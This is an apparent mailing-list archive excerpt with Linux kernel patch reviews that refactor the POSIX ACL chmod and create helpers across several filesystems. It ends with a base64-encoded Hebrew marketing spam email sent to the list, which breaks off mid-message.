b/fs/jfs/acl.c > @@ -161,7 +161,7 @@ int jfs_acl_chmod(struct inode *inode) > if (IS_ERR(acl) || !acl) > return PTR_ERR(acl); > > - rc = posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); > + rc = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); > if (rc) > return rc; > > diff --git a/fs/ocfs2/acl.c b/fs/ocfs2/acl.c > index b4f788e..73ccf0e 100644 > --- a/fs/ocfs2/acl.c > +++ b/fs/ocfs2/acl.c > @@ -350,7 +350,7 @@ int ocfs2_acl_chmod(struct inode *inode) > acl = ocfs2_get_acl(inode, ACL_TYPE_ACCESS); > if (IS_ERR(acl) || !acl) > return PTR_ERR(acl); > - ret = posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); > + ret = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); > if (ret) > return ret; > ret = ocfs2_set_acl(NULL, inode, NULL, ACL_TYPE_ACCESS, > diff --git a/fs/posix_acl.c b/fs/posix_acl.c > index 9dd03e0..9f76aaa 100644 > --- a/fs/posix_acl.c > +++ b/fs/posix_acl.c > @@ -338,7 +338,7 @@ static int posix_acl_create_masq(struct posix_acl *acl, umode_t *mode_p) > /* > * Modify the ACL for the chmod syscall. > */ > -static int posix_acl_chmod_masq(struct posix_acl *acl, umode_t mode) > +static int __posix_acl_chmod_masq(struct posix_acl *acl, umode_t mode) > { > struct posix_acl_entry *group_obj = NULL, *mask_obj = NULL; > struct posix_acl_entry *pa, *pe; > @@ -402,12 +402,12 @@ posix_acl_create(struct posix_acl **acl, gfp_t gfp, umode_t *mode_p) > EXPORT_SYMBOL(posix_acl_create); > > int > -posix_acl_chmod(struct posix_acl **acl, gfp_t gfp, umode_t mode) > +__posix_acl_chmod(struct posix_acl **acl, gfp_t gfp, umode_t mode) > { > struct posix_acl *clone = posix_acl_clone(*acl, gfp); > int err = -ENOMEM; > if (clone) { > - err = posix_acl_chmod_masq(clone, mode); > + err = __posix_acl_chmod_masq(clone, mode); > if (err) { > posix_acl_release(clone); > clone = NULL; > @@ -417,6 +417,30 @@ posix_acl_chmod(struct posix_acl **acl, gfp_t gfp, umode_t mode) > *acl = clone; > return err; > } > +EXPORT_SYMBOL(__posix_acl_chmod); > + > +int > +posix_acl_chmod(struct inode *inode) > +{ > + struct posix_acl *acl; > + int ret = 0; > + > + if (S_ISLNK(inode->i_mode)) > + return -EOPNOTSUPP; > + if (!IS_POSIXACL(inode)) > + return 0; > + > + acl = get_acl(inode, ACL_TYPE_ACCESS); > + if (IS_ERR_OR_NULL(acl)) > + return PTR_ERR(acl); > + > + ret = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); > + if (ret) > + return ret; > + ret = inode->i_op->set_acl(inode, acl, ACL_TYPE_ACCESS); > + posix_acl_release(acl); > + return ret; > +} > EXPORT_SYMBOL(posix_acl_chmod); > > struct posix_acl *get_acl(struct inode *inode, int type) > diff --git a/fs/reiserfs/xattr_acl.c b/fs/reiserfs/xattr_acl.c > index 6f721ea..ea4e443 100644 > --- a/fs/reiserfs/xattr_acl.c > +++ b/fs/reiserfs/xattr_acl.c > @@ -463,7 +463,7 @@ int reiserfs_acl_chmod(struct inode *inode) > return 0; > if (IS_ERR(acl)) > return PTR_ERR(acl); > - error = posix_acl_chmod(&acl, GFP_NOFS, inode->i_mode); > + error = __posix_acl_chmod(&acl, GFP_NOFS, inode->i_mode); > if (error) > return error; > > diff --git a/fs/xfs/xfs_acl.c b/fs/xfs/xfs_acl.c > index 370eb3e..4eac105 100644 > --- a/fs/xfs/xfs_acl.c > +++ b/fs/xfs/xfs_acl.c > @@ -334,7 +334,7 @@ xfs_acl_chmod(struct inode *inode) > if (IS_ERR(acl) || !acl) > return PTR_ERR(acl); > > - error = posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); > + error = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); > if (error) > return error; > > diff --git a/include/linux/posix_acl.h b/include/linux/posix_acl.h > index a8d9918..8b64e78 100644 > --- a/include/linux/posix_acl.h > +++ b/include/linux/posix_acl.h > @@ -89,12 +89,14 @@ extern int posix_acl_permission(struct inode *, const struct posix_acl *, int); > extern struct posix_acl *posix_acl_from_mode(umode_t, gfp_t); > extern int posix_acl_equiv_mode(const struct posix_acl *, umode_t *); > extern int posix_acl_create(struct posix_acl **, gfp_t, umode_t *); > -extern int posix_acl_chmod(struct posix_acl **, gfp_t, umode_t); > +extern int __posix_acl_chmod(struct posix_acl **, gfp_t, umode_t); > > extern struct posix_acl *get_posix_acl(struct inode *, int); > extern int set_posix_acl(struct inode *, int, struct posix_acl *); > > #ifdef CONFIG_FS_POSIX_ACL > +extern int posix_acl_chmod(struct inode *); > + > static inline struct posix_acl **acl_by_type(struct inode *inode, int type) > { > switch (type) { > @@ -165,15 +167,22 @@ static inline void forget_all_cached_acls(struct inode *inode) > if (old_default != ACL_NOT_CACHED) > posix_acl_release(old_default); > } > -#endif > > static inline void cache_no_acl(struct inode *inode) > { > -#ifdef CONFIG_FS_POSIX_ACL > inode->i_acl = NULL; > inode->i_default_acl = NULL; > -#endif > } > +#else > +static inline int posix_acl_chmod(struct inode *inode) > +{ > + return 0; > +} > + > +static inline void cache_no_acl(struct inode *inode) > +{ > +} > +#endif /* CONFIG_FS_POSIX_ACL */ > > struct posix_acl *get_acl(struct inode *inode, int type); > > -- > 1.7.10.4 > > > -- > To unsubscribe from this list: send the line "unsubscribe linux-fsdevel" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html -- Jan Kara SUSE Labs, CR From jack@suse.cz Mon Dec 2 15:11:13 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id F2C3529DF9 for ; Mon, 2 Dec 2013 15:11:12 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 8C9C4AC004 for ; Mon, 2 Dec 2013 13:11:09 -0800 (PST) X-ASG-Debug-ID: 1386018667-04bdf06eee4904a0001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id Bt0fIIQL6s00YBcb for ; Mon, 02 Dec 2013 13:11:07 -0800 (PST) X-Barracuda-Envelope-From: jack@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay2.suse.de (unknown [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id 18703A7D84; Mon, 2 Dec 2013 22:11:07 +0100 (CET) Received: by quack.suse.cz (Postfix, from userid 1000) id 14AA881EF4; Mon, 2 Dec 2013 22:11:06 +0100 (CET) Date: Mon, 2 Dec 2013 22:11:06 +0100 From: Jan Kara To: Christoph Hellwig Cc: viro@zeniv.linux.org.uk, linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org Subject: Re: [PATCH 06/18] fs: make posix_acl_create more useful Message-ID: <20131202211106.GG12253@quack.suse.cz> X-ASG-Orig-Subj: Re: [PATCH 06/18] fs: make posix_acl_create more useful References: <20131201115903.910559036@bombadil.infradead.org> <20131201120654.610216548@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131201120654.610216548@bombadil.infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1386018667 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142790 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sun 01-12-13 03:59:09, Christoph Hellwig wrote: > Rename the current posix_acl_created to __posix_acl_create and add > a fully featured helper to set up the ACLs on file creation that > uses get_acl(). Looks good, you can add: Reviewed-by: Jan Kara Honza > > Signed-off-by: Christoph Hellwig > --- > fs/9p/acl.c | 2 +- > fs/btrfs/acl.c | 2 +- > fs/ext2/acl.c | 2 +- > fs/ext3/acl.c | 2 +- > fs/ext4/acl.c | 2 +- > fs/f2fs/acl.c | 2 +- > fs/generic_acl.c | 2 +- > fs/gfs2/acl.c | 2 +- > fs/hfsplus/posix_acl.c | 2 +- > fs/jffs2/acl.c | 2 +- > fs/jfs/acl.c | 2 +- > fs/nfs/nfs3acl.c | 2 +- > fs/ocfs2/acl.c | 2 +- > fs/posix_acl.c | 53 +++++++++++++++++++++++++++++++++++++++++++-- > fs/reiserfs/xattr_acl.c | 2 +- > fs/xfs/xfs_acl.c | 4 ++-- > include/linux/posix_acl.h | 6 ++++- > 17 files changed, 72 insertions(+), 19 deletions(-) > > diff --git a/fs/9p/acl.c b/fs/9p/acl.c > index f5ce5c5..8482f2d 100644 > --- a/fs/9p/acl.c > +++ b/fs/9p/acl.c > @@ -200,7 +200,7 @@ int v9fs_acl_mode(struct inode *dir, umode_t *modep, > if (acl) { > if (S_ISDIR(mode)) > *dpacl = posix_acl_dup(acl); > - retval = posix_acl_create(&acl, GFP_NOFS, &mode); > + retval = __posix_acl_create(&acl, GFP_NOFS, &mode); > if (retval < 0) > return retval; > if (retval > 0) > diff --git a/fs/btrfs/acl.c b/fs/btrfs/acl.c > index 1af04ff..b56519d 100644 > --- a/fs/btrfs/acl.c > +++ b/fs/btrfs/acl.c > @@ -222,7 +222,7 @@ int btrfs_init_acl(struct btrfs_trans_handle *trans, > if (ret) > goto failed; > } > - ret = posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); > + ret = __posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); > if (ret < 0) > return ret; > > diff --git a/fs/ext2/acl.c b/fs/ext2/acl.c > index 7006ced..6e842a7 100644 > --- a/fs/ext2/acl.c > +++ b/fs/ext2/acl.c > @@ -268,7 +268,7 @@ ext2_init_acl(struct inode *inode, struct inode *dir) > if (error) > goto cleanup; > } > - error = posix_acl_create(&acl, GFP_KERNEL, &inode->i_mode); > + error = __posix_acl_create(&acl, GFP_KERNEL, &inode->i_mode); > if (error < 0) > return error; > if (error > 0) { > diff --git a/fs/ext3/acl.c b/fs/ext3/acl.c > index 6691a6c..4f3d8fa 100644 > --- a/fs/ext3/acl.c > +++ b/fs/ext3/acl.c > @@ -271,7 +271,7 @@ ext3_init_acl(handle_t *handle, struct inode *inode, struct inode *dir) > if (error) > goto cleanup; > } > - error = posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); > + error = __posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); > if (error < 0) > return error; > > diff --git a/fs/ext4/acl.c b/fs/ext4/acl.c > index 2eebe02..f827f3b 100644 > --- a/fs/ext4/acl.c > +++ b/fs/ext4/acl.c > @@ -276,7 +276,7 @@ ext4_init_acl(handle_t *handle, struct inode *inode, struct inode *dir) > if (error) > goto cleanup; > } > - error = posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); > + error = __posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); > if (error < 0) > return error; > > diff --git a/fs/f2fs/acl.c b/fs/f2fs/acl.c > index 14c4df0..45e8430 100644 > --- a/fs/f2fs/acl.c > +++ b/fs/f2fs/acl.c > @@ -285,7 +285,7 @@ int f2fs_init_acl(struct inode *inode, struct inode *dir, struct page *ipage) > if (error) > goto cleanup; > } > - error = posix_acl_create(&acl, GFP_KERNEL, &inode->i_mode); > + error = __posix_acl_create(&acl, GFP_KERNEL, &inode->i_mode); > if (error < 0) > return error; > if (error > 0) > diff --git a/fs/generic_acl.c b/fs/generic_acl.c > index 46a5076..4357f39 100644 > --- a/fs/generic_acl.c > +++ b/fs/generic_acl.c > @@ -128,7 +128,7 @@ generic_acl_init(struct inode *inode, struct inode *dir) > if (acl) { > if (S_ISDIR(inode->i_mode)) > set_cached_acl(inode, ACL_TYPE_DEFAULT, acl); > - error = posix_acl_create(&acl, GFP_KERNEL, &inode->i_mode); > + error = __posix_acl_create(&acl, GFP_KERNEL, &inode->i_mode); > if (error < 0) > return error; > if (error > 0) > diff --git a/fs/gfs2/acl.c b/fs/gfs2/acl.c > index 3e200c7..e82e4ac 100644 > --- a/fs/gfs2/acl.c > +++ b/fs/gfs2/acl.c > @@ -131,7 +131,7 @@ int gfs2_acl_create(struct gfs2_inode *dip, struct inode *inode) > goto out; > } > > - error = posix_acl_create(&acl, GFP_NOFS, &mode); > + error = __posix_acl_create(&acl, GFP_NOFS, &mode); > if (error < 0) > return error; > > diff --git a/fs/hfsplus/posix_acl.c b/fs/hfsplus/posix_acl.c > index cab5fd6..277942f 100644 > --- a/fs/hfsplus/posix_acl.c > +++ b/fs/hfsplus/posix_acl.c > @@ -137,7 +137,7 @@ int hfsplus_init_posix_acl(struct inode *inode, struct inode *dir) > goto init_acl_cleanup; > } > > - err = posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); > + err = __posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); > if (unlikely(err < 0)) > return err; > > diff --git a/fs/jffs2/acl.c b/fs/jffs2/acl.c > index 5853969..4d6e31b 100644 > --- a/fs/jffs2/acl.c > +++ b/fs/jffs2/acl.c > @@ -295,7 +295,7 @@ int jffs2_init_acl_pre(struct inode *dir_i, struct inode *inode, umode_t *i_mode > if (S_ISDIR(*i_mode)) > set_cached_acl(inode, ACL_TYPE_DEFAULT, acl); > > - rc = posix_acl_create(&acl, GFP_KERNEL, i_mode); > + rc = __posix_acl_create(&acl, GFP_KERNEL, i_mode); > if (rc < 0) > return rc; > if (rc > 0) > diff --git a/fs/jfs/acl.c b/fs/jfs/acl.c > index 9c0fca8..28d529a 100644 > --- a/fs/jfs/acl.c > +++ b/fs/jfs/acl.c > @@ -132,7 +132,7 @@ int jfs_init_acl(tid_t tid, struct inode *inode, struct inode *dir) > if (rc) > goto cleanup; > } > - rc = posix_acl_create(&acl, GFP_KERNEL, &inode->i_mode); > + rc = __posix_acl_create(&acl, GFP_KERNEL, &inode->i_mode); > if (rc < 0) > goto cleanup; /* posix_acl_release(NULL) is no-op */ > if (rc > 0) > diff --git a/fs/nfs/nfs3acl.c b/fs/nfs/nfs3acl.c > index 4a1aafb..e859675 100644 > --- a/fs/nfs/nfs3acl.c > +++ b/fs/nfs/nfs3acl.c > @@ -428,7 +428,7 @@ int nfs3_proc_set_default_acl(struct inode *dir, struct inode *inode, > if (!dfacl) > return 0; > acl = posix_acl_dup(dfacl); > - error = posix_acl_create(&acl, GFP_KERNEL, &mode); > + error = __posix_acl_create(&acl, GFP_KERNEL, &mode); > if (error < 0) > goto out_release_dfacl; > error = nfs3_proc_setacls(inode, acl, S_ISDIR(inode->i_mode) ? > diff --git a/fs/ocfs2/acl.c b/fs/ocfs2/acl.c > index 73ccf0e..c0f9d2f 100644 > --- a/fs/ocfs2/acl.c > +++ b/fs/ocfs2/acl.c > @@ -401,7 +401,7 @@ int ocfs2_init_acl(handle_t *handle, > goto cleanup; > } > mode = inode->i_mode; > - ret = posix_acl_create(&acl, GFP_NOFS, &mode); > + ret = __posix_acl_create(&acl, GFP_NOFS, &mode); > if (ret < 0) > return ret; > > diff --git a/fs/posix_acl.c b/fs/posix_acl.c > index 9f76aaa..38d6a49 100644 > --- a/fs/posix_acl.c > +++ b/fs/posix_acl.c > @@ -384,7 +384,7 @@ static int __posix_acl_chmod_masq(struct posix_acl *acl, umode_t mode) > } > > int > -posix_acl_create(struct posix_acl **acl, gfp_t gfp, umode_t *mode_p) > +__posix_acl_create(struct posix_acl **acl, gfp_t gfp, umode_t *mode_p) > { > struct posix_acl *clone = posix_acl_clone(*acl, gfp); > int err = -ENOMEM; > @@ -399,7 +399,7 @@ posix_acl_create(struct posix_acl **acl, gfp_t gfp, umode_t *mode_p) > *acl = clone; > return err; > } > -EXPORT_SYMBOL(posix_acl_create); > +EXPORT_SYMBOL(__posix_acl_create); > > int > __posix_acl_chmod(struct posix_acl **acl, gfp_t gfp, umode_t mode) > @@ -443,6 +443,55 @@ posix_acl_chmod(struct inode *inode) > } > EXPORT_SYMBOL(posix_acl_chmod); > > +int > +posix_acl_create(struct inode *dir, umode_t *mode, > + struct posix_acl **default_acl, struct posix_acl **acl) > +{ > + struct posix_acl *p; > + int ret; > + > + if (S_ISLNK(*mode) || !IS_POSIXACL(dir)) > + goto no_acl; > + > + p = get_acl(dir, ACL_TYPE_DEFAULT); > + if (IS_ERR(p)) > + return PTR_ERR(p); > + > + if (!p) { > + *mode &= ~current_umask(); > + goto no_acl; > + } > + > + *acl = posix_acl_clone(p, GFP_NOFS); > + if (!*acl) > + return -ENOMEM; > + > + ret = posix_acl_create_masq(*acl, mode); > + if (ret < 0) { > + posix_acl_release(*acl); > + return -ENOMEM; > + } > + > + if (ret == 0) { > + posix_acl_release(*acl); > + *acl = NULL; > + } > + > + if (!S_ISDIR(*mode)) { > + posix_acl_release(p); > + *default_acl = NULL; > + } else { > + *default_acl = p; > + } > + return 0; > + > +no_acl: > + *default_acl = NULL; > + *acl = NULL; > + return 0; > +} > +EXPORT_SYMBOL_GPL(posix_acl_create); > + > struct posix_acl *get_acl(struct inode *inode, int type) > { > struct posix_acl *acl; > diff --git a/fs/reiserfs/xattr_acl.c b/fs/reiserfs/xattr_acl.c > index ea4e443..d95c959 100644 > --- a/fs/reiserfs/xattr_acl.c > +++ b/fs/reiserfs/xattr_acl.c > @@ -378,7 +378,7 @@ reiserfs_inherit_default_acl(struct reiserfs_transaction_handle *th, > > /* Now we reconcile the new ACL and the mode, > potentially modifying both */ > - err = posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); > + err = __posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); > if (err < 0) > return err; > > diff --git a/fs/xfs/xfs_acl.c b/fs/xfs/xfs_acl.c > index 4eac105..057ae2d 100644 > --- a/fs/xfs/xfs_acl.c > +++ b/fs/xfs/xfs_acl.c > @@ -297,12 +297,12 @@ xfs_inherit_acl(struct inode *inode, struct posix_acl *acl) > goto out; > } > > - error = posix_acl_create(&acl, GFP_KERNEL, &mode); > + error = __posix_acl_create(&acl, GFP_KERNEL, &mode); > if (error < 0) > return error; > > /* > - * If posix_acl_create returns a positive value we need to > + * If __posix_acl_create returns a positive value we need to > * inherit a permission that can't be represented using the Unix > * mode bits and we actually need to set an ACL. > */ > diff --git a/include/linux/posix_acl.h b/include/linux/posix_acl.h > index 8b64e78..9ec6b45 100644 > --- a/include/linux/posix_acl.h > +++ b/include/linux/posix_acl.h > @@ -88,14 +88,18 @@ extern int posix_acl_valid(const struct posix_acl *); > extern int posix_acl_permission(struct inode *, const struct posix_acl *, int); > extern struct posix_acl *posix_acl_from_mode(umode_t, gfp_t); > extern int posix_acl_equiv_mode(const struct posix_acl *, umode_t *); > -extern int posix_acl_create(struct posix_acl **, gfp_t, umode_t *); > +extern int __posix_acl_create(struct posix_acl **, gfp_t, umode_t *); > extern int __posix_acl_chmod(struct posix_acl **, gfp_t, umode_t); > +extern int posix_acl_prepare(struct inode *dir, struct inode *inode, > + umode_t *mode); > > extern struct posix_acl *get_posix_acl(struct inode *, int); > extern int set_posix_acl(struct inode *, int, struct posix_acl *); > > #ifdef CONFIG_FS_POSIX_ACL > extern int posix_acl_chmod(struct inode *); > +extern int posix_acl_create(struct inode *, umode_t *, struct posix_acl **, > + struct posix_acl **); > > static inline struct posix_acl **acl_by_type(struct inode *inode, int type) > { > -- > 1.7.10.4 > > > -- > To unsubscribe from this list: send the line "unsubscribe linux-fsdevel" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html -- Jan Kara SUSE Labs, CR From leo.rive@bestmeser.com Mon Dec 2 15:21:08 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B139029DF9 for ; Mon, 2 Dec 2013 15:21:08 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 5A5F7AC009 for ; Mon, 2 Dec 2013 13:21:05 -0800 (PST) X-ASG-Debug-ID: 1386019262-04bdf06eed490b30001-w1Z2WR Received: from AMSCLUB02.localdomain ([109.201.141.155]) by cuda.sgi.com with ESMTP id XMGxmdDWAgPEZkqe for ; Mon, 02 Dec 2013 13:21:02 -0800 (PST) X-Barracuda-Envelope-From: leo.rive@BESTMESER.COM X-Barracuda-Apparent-Source-IP: 109.201.141.155 List-Unsubscribe: MIME-Version: 1.0 From: =?utf-8?B?15fXoNeV16og15jXkdei?= Sender: leo.rive@BESTMESER.COM To: linux-xfs@oss.sgi.com Reply-To: =?utf-8?B?15fXoNeV16og15jXkdei?= Date: 2 Dec 2013 23:16:29 +0200 Subject: =?utf-8?B?15fXkteV16jXqiDXkteR?= Content-Type: multipart/alternative; boundary=--boundary_2973231_35f526d4-5b6f-4eb6-bd35-926dbfde7c73 X-ASG-Orig-Subj: =?utf-8?B?15fXkteV16jXqiDXkteR?= X-Barracuda-Connect: UNKNOWN[109.201.141.155] X-Barracuda-Start-Time: 1386019262 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.74 X-Barracuda-Spam-Status: No, SCORE=0.74 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, HTML_MESSAGE, MISSING_MID, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142791 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.14 MISSING_MID Missing Message-Id: header 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Message-Id: <20131202212105.21EA7A42178@cuda.sgi.com> ----boundary_2973231_35f526d4-5b6f-4eb6-bd35-926dbfde7c73 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: base64 15DXnSDXkNeZ16DXmiDXqNeV15DXlCDXnteZ15nXnCDXlteUINeQ16DXkCDXnNeX16Uv15kg INeb15DXnyDXl9eS15XXqNeqINeS15Eg16jXpNeV15DXmdeqIC3Xkdee15fXmdeoINee15HX pteiISEhISEhISEgDQoJICDXoteb16nXmdeVINeR157Xkdem16IhINee15fXmdeoINek15nX pteV16UhINeR157Xp9eV150g15EtNDUwINepIteXICDXkS0yODAg16ki15cg15HXnNeR15Mg DQoJCQkJCQkJCQ0KCQkJCQkJCQkgICDXnNeX15LXldeo16og15LXkSDXqNek15XXkNeZ16og 15DXnNeh15jXmdeqISDXl9eS15XXqNeqINeS15Eg16jXpNeV15DXmdeqINeQ15zXodeY15nX qiwg157Xoteg15nXp9eUINec15LXkSDXldec157Xqteg15nXmdedINeq157Xmdeb15Qg157X nNeQ15QsINee15vXmdec15Qg15vXk9eV16jXmdedINeR15nXlSDXnteS16DXmNeZ15nXnSDX kNep16gg157Xqdek16jXmdedINeQ16og15TXmdem15nXkdeV16osINee16HXmdeZ16LXmded INeR15TXpNeS16og15vXkNeRINeS15Eg15XXqteV157Xm9eZ150g15HXnteq16DXmdeZ150g 15XXkdeS15Eg15HXpteV16jXlCDXnteV16nXnNee16ouIA0KCQkJCQkJCQkJDQoJCQkJCQkJ CQkNCgkJCQkJCdeU15vXk9eV16jXmdedINee15nXmdem16jXmdedINep15PXlCDXnteS16DX mNeZINeR16DXmdeU150g15XXoiLXmSDXlNei15HXqNeqINeU157Xodeo15nXnSDXnNeS15Es INee16TXmdeS15nXnSDXm9ecINeb15DXkSANCgkJCQkJCQkJCQ0KCQkJCQkJCQkJDQoJCQkJ CQnXldee16HXmdeZ16LXmdedINeR157XoNeZ16LXqiDXkdei15nXldeqINeZ16bXmdeR15Qg 15XXqteg15XXl9eULiANCgkJCQkJCQkJDQoJCQkJCQkJCSAgIA0KCQkJCQkJCQkNCgkJCQkJ CQkJDQoJCQkJCQnXl9eS15XXqNeUINee16fXpteV16LXmdeqLCDXkNeZ15vXldeq15nXqiwg 157XkNeV16nXqNeqINeiIteZINee16jXm9eW15kg15jXmdek15XXnCDXkNec15jXqNeg15jX mdeR15kuIA0KCQkJCQkJCQkNCgkJCQkJCQkJDQoJCQkJCQnXlNeY15nXpNeV15wg15HXm9eQ 15HXmSDXlNeS15Eg15XXkdeR16LXmdeV16og16LXnteZ15PXlCDXldeZ16bXmdeR15Qg15HX kNeV16TXnyDXkNec15jXqNeg15jXmdeR15ksINec15zXkCDXqteo15XXpNeV16og15XXnNec 15Ag15vXkNeRLiANCgkJCQkJCQkJDQoJCQkJCQkJCQ0KCQkJCQkJ15TXl9eS15XXqNeUINeU 15XXm9eZ15fXlCDXkNeqINei16bXnteUINeR157Xodek16gg16jXkSDXqdecINee16fXqNeZ 150uIDkwJSDXlNem15zXl9eUINeR157Xp9eo15nXnSDXl9ee15XXqNeZ150uINec16TXqNeY 15nXnSDXoNeV16HXpNeZ150gINec15fXpSDXm9eQ158hIA0KCQkJCQkJCQkJDQoJCQkJCQkJ CQkgICANCgkJCQkJCSAgICDXlNee15vXnNec15Qg15zXqNek15XXkNeUINeY15HXoteZ16og fNeqLteTLiAzMTkzfCDXqNee16og15nXqdeZICAgINeU15XXk9ei15Qg15bXlSDXoNep15zX l9eUINecLSBsaW51eC14ZnNAb3NzLnNnaS5jb20gINei15wg15nXk9eZICBkYXNAd2FsbGEu Y29tICDXotecINee16DXqiDXnNeU16HXmdeoINeQ16og16LXptee15og157XqNep15nXnteq INeU16rXpNeV16bXlCDXnNeX16Uv15kgINeb15DXnyAgIA== ----boundary_2973231_35f526d4-5b6f-4eb6-bd35-926dbfde7c73 Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: base64 PEhUTUw+PEJPRFk+PGRpdiBhbGlnbj0iY2VudGVyIj48dGFibGUgYWxpZ249ImNlbnRlciIg c3R5bGU9ImRpcmVjdGlvbjpydGw7IHdpZHRoOiA3MDBweDsgdGFibGUtbGF5b3V0OiBmaXhl ZDsiPjx0cj48dGQgdmFsaWduPSJib3R0b20iIGFsaWduPSJjZW50ZXIiIHN0eWxlPSJmb250 LWZhbWlseTpBcmlhbDtmb250LXNpemU6OC41cHQ7Ij7XkNedINeQ15nXoNeaINeo15XXkNeU INee15nXmdecINeW15Qg15DXoNeQINec15fXpS/XmSA8YSBocmVmPSJodHRwOi8vZW1haWxz LWRpcmVjdC5jb20vTWFpbC9WaWV3RU1haWwuYXNweD9FSUQ9QW5qeGFWZFN1TEFkS05YRmVC WnVtZyUzZCUzZCZTTUlEPUU1SU02YmZyU0ZRJTNkJkNJRD1hcnJJd0Y1bWRIRnh5VXlqSm9k R2M2NkpTQW5rQTg4SCZVSUQ9QjB4eGF5ZnZMSXFPY1BTWWxpSXhrUSUzZCUzZCI+15vXkNef PC9hPjwvdGQ+PC90cj48L3RhYmxlPjxiciAvPjxkaXYgYWxpZ249ImNlbnRlciI+PFRBQkxF IHN0eWxlPSJ3aWR0aDo3MDBweDtkaXJlY3Rpb246cnRsO3RhYmxlLWxheW91dDphdXRvO3Rl eHQtYWxpZ246cmlnaHQ7Ij4NCjxUUj48VEQ+DQo8cCBzdHlsZT0idGV4dC1hbGlnbjogY2Vu dGVyOyI+PGltZyBzcmM9Imh0dHA6Ly9zZmlsZS5mLXN0YXRpYy5jb20vaW1hZ2UvdXNlcnMv NjAzMzQvZnRwL215X2ZpbGVzL3RldmFzaG9wJTIwbG9nbyUyMGJhbmVyLTEuanBnIiAvPg0K CTxzcGFuIHN0eWxlPSJmb250LXNpemU6MzZweDsiPteX15LXldeo16og15LXkSDXqNek15XX kNeZ16ogLdeR157Xl9eZ16gg157Xkdem16IhISEhISEhITwvc3Bhbj48L3A+PGRpdj4NCgkm bmJzcDs8L2Rpdj48ZGl2Pjx0YWJsZSBjZWxscGFkZGluZz0iMiIgY2VsbHNwYWNpbmc9IjIi IHN0eWxlPSJ3aWR0aDogNjgwcHg7IGRpcmVjdGlvbjogcnRsOyBmb250LXNpemU6IDE0cHg7 IGZvbnQtZmFtaWx5OiBBcmlhbDsiPjx0Ym9keT48dHI+PHRkIHN0eWxlPSJ2ZXJ0aWNhbC1h bGlnbjogbWlkZGxlOyB0ZXh0LWFsaWduOiBjZW50ZXI7Ij48aW1nIGFsdD0iIiBoZWlnaHQ9 IjIwMCIgc3JjPSJodHRwOi8vd3d3Lm1lc2VyMTAuY29tL2NrZmluZGVyL3VzZXJmaWxlcy9V 